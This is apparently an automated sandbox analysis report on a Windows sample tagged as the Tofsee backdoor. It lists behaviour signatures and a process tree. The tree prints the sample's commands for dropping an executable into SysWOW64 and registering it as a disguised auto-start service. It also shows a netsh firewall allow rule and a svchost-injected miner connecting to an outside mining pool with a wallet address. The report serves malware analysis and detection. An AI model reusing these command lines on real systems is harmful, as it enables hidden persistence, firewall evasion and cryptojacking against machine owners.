Analysis

  • max time kernel
    150s
  • max time network
    154s
  • platform
    windows10_x64
  • resource
    win10v20201028
  • submitted
    10/11/2020, 11:00

General

  • Target
    17831d6b96a1d60752b7031cf6307eb2ce6db23204991b7c6411f50f0ee99621.exe
  • Size 13.8MB
  • Sample201110-gfcj2hepaj
  • SHA256 17831d6b96a1d60752b7031cf6307eb2ce6db23204991b7c6411f50f0ee99621
  • MD5 SHA1 SHA512

Malware Config

Signatures

  • Tofsee

    Backdoor/botnet which carries out malicious activities based on commands from a C2 server.

  • Windows security bypass 2 TTPs
  • Creates new service(s) 1 TTPs
  • Executes dropped EXE 1 IoCs
  • Modifies Windows Firewall 1 TTPs
  • Sets service image path in registry 2 TTPs
  • Deletes itself 1 IoCs
  • Drops file in System32 directory 2 IoCs
  • Modifies service 2 TTPs 1 IoCs
  • Suspicious use of SetThreadContext 2 IoCs
  • Launches sc.exe

    Sc.exe is a Windows utlilty to control services on the system.

  • Program crash 19 IoCs
  • Modifies data under HKEY_USERS 5 IoCs
  • Suspicious use of AdjustPrivilegeToken 1 IoCs
  • Suspicious use of WriteProcessMemory 28 IoCs

Processes

  • C:\Users\Admin\AppData\Local\Temp\17831d6b96a1d60752b7031cf6307eb2ce6db23204991b7c6411f50f0ee99621.exe
    "C:\Users\Admin\AppData\Local\Temp\17831d6b96a1d60752b7031cf6307eb2ce6db23204991b7c6411f50f0ee99621.exe"
    1⤵
    • Suspicious use of WriteProcessMemory
    PID:3324
    • C:\Windows\SysWOW64\WerFault.exe
      C:\Windows\SysWOW64\WerFault.exe -u -p 3324 -s 556
      2⤵
      • Program crash
      PID:3596
    • C:\Windows\SysWOW64\WerFault.exe
      C:\Windows\SysWOW64\WerFault.exe -u -p 3324 -s 684
      2⤵
      • Program crash
      PID:3732
    • C:\Windows\SysWOW64\WerFault.exe
      C:\Windows\SysWOW64\WerFault.exe -u -p 3324 -s 708
      2⤵
      • Program crash
      PID:3476
    • C:\Windows\SysWOW64\WerFault.exe
      C:\Windows\SysWOW64\WerFault.exe -u -p 3324 -s 736
      2⤵
      • Program crash
      PID:740
    • C:\Windows\SysWOW64\WerFault.exe
      C:\Windows\SysWOW64\WerFault.exe -u -p 3324 -s 788
      2⤵
      • Program crash
      PID:3136
    • C:\Windows\SysWOW64\WerFault.exe
      C:\Windows\SysWOW64\WerFault.exe -u -p 3324 -s 824
      2⤵
      • Program crash
      PID:3980
    • C:\Windows\SysWOW64\WerFault.exe
      C:\Windows\SysWOW64\WerFault.exe -u -p 3324 -s 956
      2⤵
      • Program crash
      PID:4024
    • C:\Windows\SysWOW64\cmd.exe
      "C:\Windows\System32\cmd.exe" /C mkdir C:\Windows\SysWOW64\embrarsx\
      2⤵
        PID:3576
      • C:\Windows\SysWOW64\WerFault.exe
        C:\Windows\SysWOW64\WerFault.exe -u -p 3324 -s 1000
        2⤵
        • Program crash
        PID:3688
      • C:\Windows\SysWOW64\WerFault.exe
        C:\Windows\SysWOW64\WerFault.exe -u -p 3324 -s 704
        2⤵
        • Program crash
        PID:3692
      • C:\Windows\SysWOW64\cmd.exe
        "C:\Windows\System32\cmd.exe" /C move /Y "C:\Users\Admin\AppData\Local\Temp\gjpjyjua.exe" C:\Windows\SysWOW64\embrarsx\
        2⤵
          PID:940
        • C:\Windows\SysWOW64\WerFault.exe
          C:\Windows\SysWOW64\WerFault.exe -u -p 3324 -s 720
          2⤵
          • Program crash
          PID:1972
        • C:\Windows\SysWOW64\WerFault.exe
          C:\Windows\SysWOW64\WerFault.exe -u -p 3324 -s 708
          2⤵
          • Program crash
          PID:2808
        • C:\Windows\SysWOW64\sc.exe
          "C:\Windows\System32\sc.exe" create embrarsx binPath= "C:\Windows\SysWOW64\embrarsx\gjpjyjua.exe /d\"C:\Users\Admin\AppData\Local\Temp\17831d6b96a1d60752b7031cf6307eb2ce6db23204991b7c6411f50f0ee99621.exe\"" type= own start= auto DisplayName= "wifi support"
          2⤵
            PID:3612
          • C:\Windows\SysWOW64\WerFault.exe
            C:\Windows\SysWOW64\WerFault.exe -u -p 3324 -s 772
            2⤵
            • Program crash
            PID:1196
          • C:\Windows\SysWOW64\WerFault.exe
            C:\Windows\SysWOW64\WerFault.exe -u -p 3324 -s 704
            2⤵
            • Program crash
            PID:2060
          • C:\Windows\SysWOW64\sc.exe
            "C:\Windows\System32\sc.exe" description embrarsx "wifi internet conection"
            2⤵
              PID:3800
            • C:\Windows\SysWOW64\WerFault.exe
              C:\Windows\SysWOW64\WerFault.exe -u -p 3324 -s 708
              2⤵
              • Program crash
              PID:2284
            • C:\Windows\SysWOW64\WerFault.exe
              C:\Windows\SysWOW64\WerFault.exe -u -p 3324 -s 1068
              2⤵
              • Program crash
              PID:2296
            • C:\Windows\SysWOW64\sc.exe
              "C:\Windows\System32\sc.exe" start embrarsx
              2⤵
                PID:3868
              • C:\Windows\SysWOW64\WerFault.exe
                C:\Windows\SysWOW64\WerFault.exe -u -p 3324 -s 1064
                2⤵
                • Program crash
                PID:3972
              • C:\Windows\SysWOW64\WerFault.exe
                C:\Windows\SysWOW64\WerFault.exe -u -p 3324 -s 740
                2⤵
                • Program crash
                PID:4060
              • C:\Windows\SysWOW64\netsh.exe
                "C:\Windows\System32\netsh.exe" advfirewall firewall add rule name="Host-process for services of Windows" dir=in action=allow program="C:\Windows\SysWOW64\svchost.exe" enable=yes>nul
                2⤵
                  PID:3656
              • C:\Windows\SysWOW64\embrarsx\gjpjyjua.exe
                C:\Windows\SysWOW64\embrarsx\gjpjyjua.exe /d"C:\Users\Admin\AppData\Local\Temp\17831d6b96a1d60752b7031cf6307eb2ce6db23204991b7c6411f50f0ee99621.exe"
                1⤵
                • Executes dropped EXE
                • Suspicious use of SetThreadContext
                • Suspicious use of WriteProcessMemory
                PID:692
                • C:\Windows\SysWOW64\WerFault.exe
                  C:\Windows\SysWOW64\WerFault.exe -u -p 692 -s 584
                  2⤵
                  • Program crash
                  PID:2900
                • C:\Windows\SysWOW64\svchost.exe
                  svchost.exe
                  2⤵
                  • Deletes itself
                  • Drops file in System32 directory
                  • Modifies service
                  • Suspicious use of SetThreadContext
                  • Modifies data under HKEY_USERS
                  • Suspicious use of WriteProcessMemory
                  PID:2724
                  • C:\Windows\SysWOW64\svchost.exe
                    svchost.exe -o msr.pool.gntl.co.uk:40005 -u 5nFN8BzQ1qP3PkbVHj5ooXSENsHFHMAj51jbA7YySkuEH8nBDYWHhhFQjiwcVqb9H8Soz3YTG6SijYVz1ntV1TAa5qAMCwu+60000 -p x -k
                    3⤵
                    • Suspicious use of AdjustPrivilegeToken
                    PID:3820
                • C:\Windows\SysWOW64\WerFault.exe
                  C:\Windows\SysWOW64\WerFault.exe -u -p 692 -s 624
                  2⤵
                  • Program crash
                  PID:200

              Network

                    MITRE ATT&CK Enterprise v6

                    Replay Monitor

                    Loading Replay Monitor...

                    Downloads

                    memory/692-10-0x0000000002BF0000-0x0000000002BF1000-memory.dmp

                    memory/692-9-0x00000000025FF000-0x0000000002600000-memory.dmp

                    memory/2724-19-0x0000000002B70000-0x0000000002B76000-memory.dmp

                    memory/2724-22-0x0000000009650000-0x0000000009A5B000-memory.dmp

                    memory/2724-23-0x0000000003940000-0x0000000003947000-memory.dmp

                    memory/2724-21-0x0000000003930000-0x0000000003935000-memory.dmp

                    memory/2724-20-0x0000000002B80000-0x0000000002B90000-memory.dmp

                    memory/2724-18-0x0000000004B40000-0x0000000004D4F000-memory.dmp

                    memory/2724-15-0x0000000002B30000-0x0000000002B45000-memory.dmp

                    memory/3324-1-0x00000000041F0000-0x00000000041F1000-memory.dmp

                    memory/3324-0-0x0000000002644000-0x0000000002645000-memory.dmp

                    memory/3820-24-0x00000000030C0000-0x00000000031B1000-memory.dmp